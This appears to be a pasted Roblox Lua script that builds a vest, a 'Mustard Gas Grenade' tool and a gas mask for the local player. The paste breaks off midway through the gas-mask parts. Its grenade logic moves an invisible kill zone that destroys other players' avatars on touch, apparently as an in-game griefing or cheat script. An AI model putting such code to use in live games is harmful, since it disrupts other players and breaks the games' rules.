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FiveRoNer

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Jul 3rd, 2018
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  1. o1 = Instance.new("Model")
  2. o1.Name = "Vest"
  3. o2 = Instance.new("Part")
  4. o2.Name = "Middle"
  5. o2.Parent = o1
  6. o2.BrickColor = BrickColor.new("Brick yellow")
  7. o2.Transparency = 1
  8. o2.Position = Vector3.new(0.139906004, 1.05800402, -11.1099901)
  9. o2.Anchored = true
  10. o2.CFrame = CFrame.new(0.139906004, 1.05800402, -11.1099901, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  11. o2.CanCollide = false
  12. o2.FormFactor = Enum.FormFactor.Symmetric
  13. o2.Size = Vector3.new(2, 2, 1)
  14. o2.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  15. o2.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  16. o2.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  17. o2.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  18. o2.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  19. o2.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  20. o2.Color = Color3.new(0.843137, 0.772549, 0.603922)
  21. o3 = Instance.new("Part")
  22. o3.Name = "Pack"
  23. o3.Parent = o1
  24. o3.BrickColor = BrickColor.new("Dark stone grey")
  25. o3.Position = Vector3.new(0.139907002, 1.07000601, -10.3049936)
  26. o3.Rotation = Vector3.new(-180, 0, -180)
  27. o3.Anchored = true
  28. o3.CFrame = CFrame.new(0.139907002, 1.07000601, -10.3049936, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  29. o3.CanCollide = false
  30. o3.FormFactor = Enum.FormFactor.Custom
  31. o3.Size = Vector3.new(1.65999985, 1.80000019, 0.630000472)
  32. o3.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  33. o3.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  34. o3.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  35. o3.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  36. o3.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  37. o3.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  38. o3.Color = Color3.new(0.388235, 0.372549, 0.384314)
  39. o4 = Instance.new("Part")
  40. o4.Name = "Strap"
  41. o4.Parent = o1
  42. o4.BrickColor = BrickColor.new("Black")
  43. o4.Position = Vector3.new(0.66991502, 1.05500698, -11.1149797)
  44. o4.Anchored = true
  45. o4.CFrame = CFrame.new(0.66991502, 1.05500698, -11.1149797, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  46. o4.CanCollide = false
  47. o4.FormFactor = Enum.FormFactor.Custom
  48. o4.Size = Vector3.new(0.259999752, 2.11000037, 1.15000045)
  49. o4.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  50. o4.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  51. o4.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  52. o4.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  53. o4.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  54. o4.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  55. o4.Color = Color3.new(0.105882, 0.164706, 0.207843)
  56. o5 = Instance.new("Part")
  57. o5.Name = "Flap"
  58. o5.Parent = o1
  59. o5.BrickColor = BrickColor.new("Black")
  60. o5.Position = Vector3.new(0.139905006, 1.85000098, -10.2900219)
  61. o5.Anchored = true
  62. o5.CFrame = CFrame.new(0.139905006, 1.85000098, -10.2900219, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  63. o5.CanCollide = false
  64. o5.FormFactor = Enum.FormFactor.Custom
  65. o5.Size = Vector3.new(1.71999979, 0.400000006, 0.639999866)
  66. o5.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  67. o5.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  68. o5.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  69. o5.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  70. o5.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  71. o5.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  72. o5.Color = Color3.new(0.105882, 0.164706, 0.207843)
  73. o6 = Instance.new("Part")
  74. o6.Name = "Pocket"
  75. o6.Parent = o1
  76. o6.BrickColor = BrickColor.new("Black")
  77. o6.Position = Vector3.new(0.149883002, 0.860005975, -10.0399857)
  78. o6.Rotation = Vector3.new(-0, 0, -90)
  79. o6.Anchored = true
  80. o6.CFrame = CFrame.new(0.149883002, 0.860005975, -10.0399857, 0, 1, 0, -1, 0, 0, 0, 0, 1)
  81. o6.CanCollide = false
  82. o6.FormFactor = Enum.FormFactor.Custom
  83. o6.Size = Vector3.new(0.600000024, 0.800000131, 0.200000003)
  84. o6.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  85. o6.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  86. o6.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  87. o6.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  88. o6.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  89. o6.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  90. o6.Color = Color3.new(0.105882, 0.164706, 0.207843)
  91. o7 = Instance.new("Part")
  92. o7.Name = "Pocket"
  93. o7.Parent = o1
  94. o7.BrickColor = BrickColor.new("Black")
  95. o7.Position = Vector3.new(0.139600992, 1.10000801, -10.3099718)
  96. o7.Rotation = Vector3.new(-90, 90, 0)
  97. o7.Anchored = true
  98. o7.CFrame = CFrame.new(0.139600992, 1.10000801, -10.3099718, 0, 0, 1, -1, 0, 0, 0, -1, 0)
  99. o7.CanCollide = false
  100. o7.FormFactor = Enum.FormFactor.Custom
  101. o7.Size = Vector3.new(0.600000024, 0.400000155, 1.70000005)
  102. o7.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  103. o7.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  104. o7.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  105. o7.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  106. o7.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  107. o7.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  108. o7.Color = Color3.new(0.105882, 0.164706, 0.207843)
  109. o8 = Instance.new("Part")
  110. o8.Name = "Strap"
  111. o8.Parent = o1
  112. o8.BrickColor = BrickColor.new("Black")
  113. o8.Position = Vector3.new(-0.37014699, 1.05500698, -11.1149921)
  114. o8.Anchored = true
  115. o8.CFrame = CFrame.new(-0.37014699, 1.05500698, -11.1149921, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  116. o8.CanCollide = false
  117. o8.FormFactor = Enum.FormFactor.Custom
  118. o8.Size = Vector3.new(0.259999752, 2.11000037, 1.15000045)
  119. o8.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  120. o8.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  121. o8.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  122. o8.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  123. o8.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  124. o8.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  125. o8.Color = Color3.new(0.105882, 0.164706, 0.207843)
  126. o9 = Instance.new("Part")
  127. o9.Parent = o1
  128. o9.BrickColor = BrickColor.new("Really black")
  129. o9.Reflectance = 0.10000000149012
  130. o9.Position = Vector3.new(0.173590899, 4.00173569, -9.98207664)
  131. o9.Rotation = Vector3.new(2.9181666e-009, -3.48279983e-008, -8.55249798e-019)
  132. o9.Anchored = true
  133. o9.CFrame = CFrame.new(0.173590899, 4.00173569, -9.98207664, 0.999998331, 1.49269007e-020, -6.07863204e-010, 1.49269007e-020, 1, -5.09317831e-011, -6.07863204e-010, -5.09317831e-011, 1.00000334)
  134. o9.FormFactor = Enum.FormFactor.Plate
  135. o9.Size = Vector3.new(2, 4.80000019, 2)
  136. o9.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  137. o9.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  138. o9.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  139. o9.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  140. o9.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  141. o9.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  142. o9.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  143. o10 = Instance.new("SpecialMesh")
  144. o10.Parent = o9
  145. o10.Scale = Vector3.new(0.600000024, 1, 0.600000024)
  146. o10.MeshType = Enum.MeshType.Brick
  147. o11 = Instance.new("Part")
  148. o11.Parent = o1
  149. o11.BrickColor = BrickColor.new("Mid gray")
  150. o11.Reflectance = 0.20000000298023
  151. o11.Position = Vector3.new(0.173592806, 4.10173273, -11.1821489)
  152. o11.Rotation = Vector3.new(-180, 89.8953247, -90)
  153. o11.Anchored = true
  154. o11.CFrame = CFrame.new(0.173592806, 4.10173273, -11.1821489, -1.49269007e-020, 6.07863204e-010, 0.999998331, -1, 5.09317831e-011, 1.49269007e-020, 5.09317831e-011, -1.00000334, -6.07863204e-010)
  155. o11.FormFactor = Enum.FormFactor.Plate
  156. o11.Size = Vector3.new(1, 0.400000006, 2)
  157. o11.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  158. o11.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  159. o11.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  160. o11.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  161. o11.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  162. o11.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  163. o11.Color = Color3.new(0.803922, 0.803922, 0.803922)
  164. o12 = Instance.new("CylinderMesh")
  165. o12.Parent = o11
  166. o12.Offset = Vector3.new(0, -0.600000024, 0)
  167. o12.Scale = Vector3.new(0.5, 0.100000001, 0.5)
  168. o13 = Instance.new("Part")
  169. o13.Parent = o1
  170. o13.BrickColor = BrickColor.new("Mid gray")
  171. o13.Reflectance = 0.20000000298023
  172. o13.Position = Vector3.new(0.173592806, 5.60169125, -11.1821489)
  173. o13.Rotation = Vector3.new(1.40697509e-009, -89.8953247, -90)
  174. o13.Anchored = true
  175. o13.CFrame = CFrame.new(0.173592806, 5.60169125, -11.1821489, 1.49269007e-020, 6.07863204e-010, -0.999998331, 1, 5.09317831e-011, -1.49269007e-020, -5.09317831e-011, -1.00000334, 6.07863204e-010)
  176. o13.FormFactor = Enum.FormFactor.Plate
  177. o13.Size = Vector3.new(2, 0.400000006, 2)
  178. o13.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  179. o13.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  180. o13.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  181. o13.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  182. o13.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  183. o13.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  184. o13.Color = Color3.new(0.803922, 0.803922, 0.803922)
  185. o14 = Instance.new("CylinderMesh")
  186. o14.Parent = o13
  187. o14.Offset = Vector3.new(0, -0.600000024, 0)
  188. o14.Scale = Vector3.new(0.5, 0.100000001, 0.5)
  189. o15 = Instance.new("Part")
  190. o15.Parent = o1
  191. o15.BrickColor = BrickColor.new("Mid gray")
  192. o15.Reflectance = 0.20000000298023
  193. o15.Position = Vector3.new(0.173592806, 2.60173273, -11.1821489)
  194. o15.Rotation = Vector3.new(-180, 89.8953247, -90)
  195. o15.Anchored = true
  196. o15.CFrame = CFrame.new(0.173592806, 2.60173273, -11.1821489, -1.49269007e-020, 6.07863204e-010, 0.999998331, -1, 5.09317831e-011, 1.49269007e-020, 5.09317831e-011, -1.00000334, -6.07863204e-010)
  197. o15.FormFactor = Enum.FormFactor.Plate
  198. o15.Size = Vector3.new(2, 0.400000006, 2)
  199. o15.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  200. o15.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  201. o15.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  202. o15.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  203. o15.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  204. o15.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  205. o15.Color = Color3.new(0.803922, 0.803922, 0.803922)
  206. o16 = Instance.new("CylinderMesh")
  207. o16.Parent = o15
  208. o16.Offset = Vector3.new(0, -0.600000024, 0)
  209. o16.Scale = Vector3.new(0.5, 0.100000001, 0.5)
  210. myears = Instance.new('Sound')
  211. myears.Parent = game.Players.LocalPlayer.Character.Head
  212. myears.Looped = true
  213. myears.Name = "Ruski"
  214. myears.Playing = true
  215. myears.SoundId = "rbxassetid://967984830"
  216. myears.Volume = .5
  217. myears.TimePosition = 0
  218. local g = o1:clone()
  219. g.Parent = game.Players.LocalPlayer.Character
  220. local C = g:GetChildren()
  221. for i=1, #C do
  222. if C[i].className == "Part" then
  223. local W = Instance.new("Weld")
  224. W.Part0 = g.Middle
  225. W.Part1 = C[i]
  226. local CJ = CFrame.new(g.Middle.Position)
  227. local C0 = g.Middle.CFrame:inverse()*CJ
  228. local C1 = C[i].CFrame:inverse()*CJ
  229. W.C0 = C0
  230. W.C1 = C1
  231. W.Parent = g.Middle
  232. end
  233. local Y = Instance.new("Weld")
  234. Y.Part0 = game.Players.LocalPlayer.Character.Torso
  235. Y.Part1 = g.Middle
  236. Y.C0 = CFrame.new(0, 0, 0)
  237. Y.Parent = Y.Part0
  238. end
  239.  
  240. local h = g:GetChildren()
  241. for i = 1, # h do
  242. h[i].Anchored = false
  243. h[i].CanCollide = false
  244. end
  245. -----------------------------------------------------------------
  246. GasMask = true
  247. xd = Instance.new("Tool")
  248. xdd = Instance.new("Part")
  249. xddd = Instance.new("Part")
  250. xdddd = Instance.new("Part")
  251. xddddd = Instance.new("Smoke")
  252. xdddddd = Instance.new("Smoke")
  253. xddddddd = Instance.new("Smoke")
  254. xdddddddd = Instance.new("Part")
  255. xddddddddd = Instance.new("Part")
  256. xd0 = Instance.new("Part")
  257. xd.Name = "Mustard Gas Grenade"
  258. xd.Parent = game.Players.LocalPlayer.Backpack
  259. xdd.Parent = xd
  260. xdd.Material = Enum.Material.SmoothPlastic
  261. xdd.BrickColor = BrickColor.new("Deep orange")
  262. xdd.Position = Vector3.new(-9.08949184, 0.563135147, 33.200779)
  263. xdd.Rotation = Vector3.new(-0, 0, -90)
  264. xdd.CanCollide = false
  265. xdd.Shape = Enum.PartType.Cylinder
  266. xdd.Size = Vector3.new(0.26000011, 0.819999993, 1)
  267. xdd.CFrame = CFrame.new(-9.08949184, 0.563135147, 33.200779, 0, 1, 0, -1, 0, 0, 0, 0, 1)
  268. xdd.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  269. xdd.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  270. xdd.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  271. xdd.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  272. xdd.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  273. xdd.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  274. xdd.Color = Color3.new(1, 0.686275, 0)
  275. xddd.Parent = xd
  276. xddd.Material = Enum.Material.SmoothPlastic
  277. xddd.BrickColor = BrickColor.new("Really black")
  278. xddd.Position = Vector3.new(-9.09000397, 0.615009904, 33.2000046)
  279. xddd.Rotation = Vector3.new(-0, 0, 90)
  280. xddd.CanCollide = false
  281. xddd.Shape = Enum.PartType.Cylinder
  282. xddd.Size = Vector3.new(1.21000016, 0.799999952, 1)
  283. xddd.CFrame = CFrame.new(-9.09000397, 0.615009904, 33.2000046, 0, -1, 0, 1, 0, 0, 0, 0, 1)
  284. xddd.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  285. xddd.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  286. xddd.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  287. xddd.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  288. xddd.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  289. xddd.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  290. xddd.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  291. xdddd.Parent = xd
  292. xdddd.Material = Enum.Material.SmoothPlastic
  293. xdddd.BrickColor = BrickColor.new("Dark stone grey")
  294. xdddd.Position = Vector3.new(-9.09270954, 1.33200657, 33.2021408)
  295. xdddd.CanCollide = false
  296. xdddd.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  297. xdddd.CFrame = CFrame.new(-9.09270954, 1.33200657, 33.2021408, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  298. xdddd.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  299. xdddd.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  300. xdddd.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  301. xdddd.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  302. xdddd.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  303. xdddd.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  304. xdddd.Color = Color3.new(0.388235, 0.372549, 0.384314)
  305. xddddd.Parent = xdddd
  306. xddddd.Color = Color3.new(0.756863, 0.584314, 0.0588235)
  307. xddddd.Opacity = 1
  308. xddddd.RiseVelocity = 4
  309. xdddddd.Parent = xdddd
  310. xdddddd.Color = Color3.new(0.756863, 0.584314, 0.0588235)
  311. xdddddd.Opacity = 1
  312. xdddddd.RiseVelocity = 4
  313. xddddddd.Parent = xdddd
  314. xddddddd.Color = Color3.new(0.756863, 0.584314, 0.0588235)
  315. xddddddd.Opacity = 1
  316. xddddddd.RiseVelocity = 4
  317. xdddddddd.Parent = xd
  318. xdddddddd.Material = Enum.Material.SmoothPlastic
  319. xdddddddd.BrickColor = BrickColor.new("Deep orange")
  320. xdddddddd.Position = Vector3.new(-9.08949184, 0.899091303, 33.200779)
  321. xdddddddd.Rotation = Vector3.new(-0, 0, 90)
  322. xdddddddd.CanCollide = false
  323. xdddddddd.Shape = Enum.PartType.Cylinder
  324. xdddddddd.Size = Vector3.new(0.200000003, 0.819999993, 1)
  325. xdddddddd.CFrame = CFrame.new(-9.08949184, 0.899091303, 33.200779, 0, -1, 0, 1, 0, 0, 0, 0, 1)
  326. xdddddddd.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  327. xdddddddd.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  328. xdddddddd.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  329. xdddddddd.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  330. xdddddddd.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  331. xdddddddd.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  332. xdddddddd.Color = Color3.new(1, 0.686275, 0)
  333. xddddddddd.Parent = xd
  334. xddddddddd.Material = Enum.Material.SmoothPlastic
  335. xddddddddd.BrickColor = BrickColor.new("Black")
  336. xddddddddd.Position = Vector3.new(-9.09270954, 1.26311076, 33.2003593)
  337. xddddddddd.Rotation = Vector3.new(-0, 0, 90)
  338. xddddddddd.CanCollide = false
  339. xddddddddd.Shape = Enum.PartType.Cylinder
  340. xddddddddd.Size = Vector3.new(0.200000003, 0.799999952, 0.540000021)
  341. xddddddddd.CFrame = CFrame.new(-9.09270954, 1.26311076, 33.2003593, 0, -1, 0, 1, 0, 0, 0, 0, 1)
  342. xddddddddd.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  343. xddddddddd.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  344. xddddddddd.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  345. xddddddddd.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  346. xddddddddd.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  347. xddddddddd.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  348. xddddddddd.Color = Color3.new(0.105882, 0.164706, 0.207843)
  349. xd0.Name = "Handle"
  350. xd0.Parent = xd
  351. xd0.BrickColor = BrickColor.new("Earth green")
  352. xd0.Transparency = 1
  353. xd0.Position = Vector3.new(-9.11234188, 0.5, 33.1982155)
  354. xd0.Rotation = Vector3.new(0, 90, 0)
  355. xd0.CanCollide = false
  356. xd0.FormFactor = Enum.FormFactor.Custom
  357. xd0.Size = Vector3.new(0.800000131, 0.920000255, 0.799998164)
  358. xd0.CFrame = CFrame.new(-9.11234188, 0.5, 33.1982155, -0, 0, 1, 0, 1, 0, -1, 0, 0)
  359. xd0.BottomSurface = Enum.SurfaceType.Smooth
  360. xd0.TopSurface = Enum.SurfaceType.Smooth
  361. xd0.Color = Color3.new(0.152941, 0.27451, 0.176471)
  362. KILLPART = Instance.new("Part")
  363. KILLPART.Size = Vector3.new(16,16,16)
  364. KILLPART.Name = "TOUCHPART"
  365. KILLPART.Anchored = true
  366. KILLPART.BrickColor = BrickColor.new("Black")
  367. KILLPART.Transparency = 1
  368. KILLPART.CanCollide = false
  369. KILLPART.CFrame = xd0.CFrame
  370. KILLPART.Parent = workspace
  371. KILLPART.Color = Color3.new(0.105882, 0.164706, 0.207843)
  372. Gas = Instance.new("Sound")
  373. Gas.Parent = xd0
  374. Gas.Volume = 0.8
  375. Gas.Looped = true
  376. Gas.SoundId = "http://www.roblox.com/asset/?id=137065982"
  377. Gas.Pitch = 1
  378. Gas.Name = "Sound"
  379. ison = false
  380. function Weld(x,y)
  381. local W = Instance.new("Weld")
  382. W.Part0 = x
  383. W.Part1 = y
  384. local CJ = CFrame.new(x.Position)
  385. local C0 = x.CFrame:inverse()*CJ
  386. local C1 = y.CFrame:inverse()*CJ
  387. W.C0 = C0
  388. W.C1 = C1
  389. W.Parent = x
  390. end
  391.  
  392. function Get(A)
  393. if A.className == "Part" then
  394. Weld(xd.Handle, A)
  395. A.Anchored = false
  396. A.CanCollide = false
  397. else
  398. local C = A:GetChildren()
  399. for i=1, #C do
  400. Get(C[i])
  401. end
  402. end
  403. end
  404.  
  405. function Finale()
  406. Get(xd)
  407. end
  408. function XDdd ()
  409. ison = true
  410. end
  411. function Xddd ()
  412. ison = false
  413. end function lol () xdg = true Gas.Playing = true KILLPART.Parent = workspace while xdg == true do wait() KILLPART.CFrame = xd0.CFrame end end
  414. function Posijew ()
  415. KILLPART.CFrame = xd0.CFrame
  416. end function loln () KILLPART.Parent = game Gas.Playing = false xdg = false end
  417. xdg = false
  418. xd.Equipped:connect(XDdd)
  419. xd.Unequipped:connect(Xddd)
  420. xd.Equipped:connect(Finale)
  421. xd.Equipped:connect(lol)
  422. xd.Unequipped:connect(loln)
  423. xd.Unequipped:connect(Finale)
  424. Finale()
  425. function Kill (Part)
  426. for i,v in pairs(Part.Parent:GetChildren()) do
  427. if v:IsA("Humanoid") and v.Parent.Name ~= game.Players.LocalPlayer.Name then
  428. v:Destroy()
  429. end end
  430. end
  431. KILLPART.Touched:connect(Kill)
  432. if GasMask == true then
  433. o1 = Instance.new("Model")
  434. o2 = Instance.new("Part")
  435. o3 = Instance.new("SpecialMesh")
  436. o4 = Instance.new("Part")
  437. o5 = Instance.new("Part")
  438. o6 = Instance.new("Part")
  439. o7 = Instance.new("SpecialMesh")
  440. o8 = Instance.new("Part")
  441. o9 = Instance.new("Part")
  442. o10 = Instance.new("SpecialMesh")
  443. o11 = Instance.new("Part")
  444. o12 = Instance.new("Part")
  445. o13 = Instance.new("SpecialMesh")
  446. o14 = Instance.new("Part")
  447. o15 = Instance.new("Part")
  448. o16 = Instance.new("Part")
  449. o17 = Instance.new("Part")
  450. o1.Name = "MODEL"
  451. o2.Name = "Middle"
  452. o2.Parent = o1
  453. o2.BrickColor = BrickColor.new("Pastel brown")
  454. o2.Transparency = 1
  455. o2.Position = Vector3.new(-13.5356159, 3.71991396, 50.2649117)
  456. o2.Rotation = Vector3.new(-5.66336393, -89.7626114, -5.66246414)
  457. o2.Anchored = true
  458. o2.FormFactor = Enum.FormFactor.Custom
  459. o2.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  460. o2.CFrame = CFrame.new(-13.5356159, 3.71991396, 50.2649117, 1.75646369e-006, 1.74156298e-007, -0.999991417, -1.04150445e-007, 1, 1.60883403e-007, 0.999999762, 9.62157287e-008, 1.6223396e-006)
  461. o2.BottomSurface = Enum.SurfaceType.Smooth
  462. o2.TopSurface = Enum.SurfaceType.Smooth
  463. o2.Color = Color3.new(1, 0.8, 0.6)
  464. o3.Parent = o2
  465. o3.Scale = Vector3.new(6.25, 6.25, 6.25)
  466. o3.MeshType = Enum.MeshType.FileMesh
  467. o4.Name = "Lense 1"
  468. o4.Parent = o1
  469. o4.Material = Enum.Material.Metal
  470. o4.Transparency = 0.050000011920929
  471. o4.Position = Vector3.new(-12.900528, 3.77991295, 50.5080605)
  472. o4.Rotation = Vector3.new(-180, 20.6807137, -179.999985)
  473. o4.Anchored = true
  474. o4.CanCollide = false
  475. o4.FormFactor = Enum.FormFactor.Custom
  476. o4.Shape = Enum.PartType.Cylinder
  477. o4.Size = Vector3.new(0.200000003, 0.320000023, 0.939999998)
  478. o4.CFrame = CFrame.new(-12.900528, 3.77991295, 50.5080605, -0.935553849, 3.06141374e-007, 0.353159934, 3.19927466e-007, 1, 2.01617603e-008, -0.353163034, 1.1997561e-007, -0.935561478)
  479. o4.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  480. o4.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  481. o4.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  482. o4.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  483. o4.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  484. o4.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  485. o5.Name = "Lense2"
  486. o5.Parent = o1
  487. o5.Material = Enum.Material.Metal
  488. o5.Transparency = 0.050000011920929
  489. o5.Position = Vector3.new(-12.8961124, 3.77492094, 50.0302277)
  490. o5.Rotation = Vector3.new(-180, -23.8323021, -179.999985)
  491. o5.Anchored = true
  492. o5.CanCollide = false
  493. o5.FormFactor = Enum.FormFactor.Custom
  494. o5.Shape = Enum.PartType.Cylinder
  495. o5.Size = Vector3.new(0.200000003, 0.330000043, 0.99000001)
  496. o5.CFrame = CFrame.new(-12.8961124, 3.77492094, 50.0302277, -0.914722979, 2.85652249e-007, -0.404061079, 2.36339361e-007, 1, 1.37493373e-007, 0.404064298, 2.15865228e-008, -0.914730668)
  497. o5.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  498. o5.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  499. o5.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  500. o5.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  501. o5.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  502. o5.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  503. o6.Name = "Handle"
  504. o6.Parent = o1
  505. o6.Material = Enum.Material.Metal
  506. o6.BrickColor = BrickColor.new("Really black")
  507. o6.Position = Vector3.new(-12.8799381, 3.69992495, 50.2599869)
  508. o6.Rotation = Vector3.new(-90, 9.97842108e-006, -89.9999008)
  509. o6.Anchored = true
  510. o6.CanCollide = false
  511. o6.FormFactor = Enum.FormFactor.Plate
  512. o6.Size = Vector3.new(1, 0.400000006, 1)
  513. o6.CFrame = CFrame.new(-12.8799381, 3.69992495, 50.2599869, 1.75646369e-006, 0.999991417, 1.74156298e-007, -1.04150445e-007, -1.60883403e-007, 1, 0.999999762, -1.6223396e-006, 9.62157287e-008)
  514. o6.BottomSurface = Enum.SurfaceType.Weld
  515. o6.TopSurface = Enum.SurfaceType.Smooth
  516. o6.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  517. o7.Parent = o6
  518. o7.MeshId = "http://www.roblox.com/asset/?id=5158270"
  519. o7.Scale = Vector3.new(0.140000001, 0.170000002, 0.100000001)
  520. o7.MeshType = Enum.MeshType.FileMesh
  521. o8.Name = "Straps"
  522. o8.Parent = o1
  523. o8.Material = Enum.Material.Fabric
  524. o8.BrickColor = BrickColor.new("Really black")
  525. o8.Position = Vector3.new(-13.5199518, 3.48991394, 50.2599869)
  526. o8.Rotation = Vector3.new(5.96738209e-006, 0.000100637961, 89.9999924)
  527. o8.Anchored = true
  528. o8.CanCollide = false
  529. o8.FormFactor = Enum.FormFactor.Custom
  530. o8.Shape = Enum.PartType.Cylinder
  531. o8.Size = Vector3.new(0.200000003, 1.49000013, 1.25999999)
  532. o8.CFrame = CFrame.new(-13.5199518, 3.48991394, 50.2599869, 1.44325043e-007, -0.999991238, 1.75646369e-006, 0.999999881, 1.31081052e-007, -1.04150445e-007, 9.48765404e-008, 1.6242019e-006, 0.999999762)
  533. o8.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  534. o8.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  535. o8.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  536. o8.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  537. o8.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  538. o8.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  539. o8.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  540. o9.Name = "Ring2"
  541. o9.Parent = o1
  542. o9.BrickColor = BrickColor.new("Dark stone grey")
  543. o9.Position = Vector3.new(-12.8061161, 3.77991295, 49.9993477)
  544. o9.Rotation = Vector3.new(-1.48261315e-005, -66.1664276, -2.4695395e-005)
  545. o9.Anchored = true
  546. o9.CanCollide = false
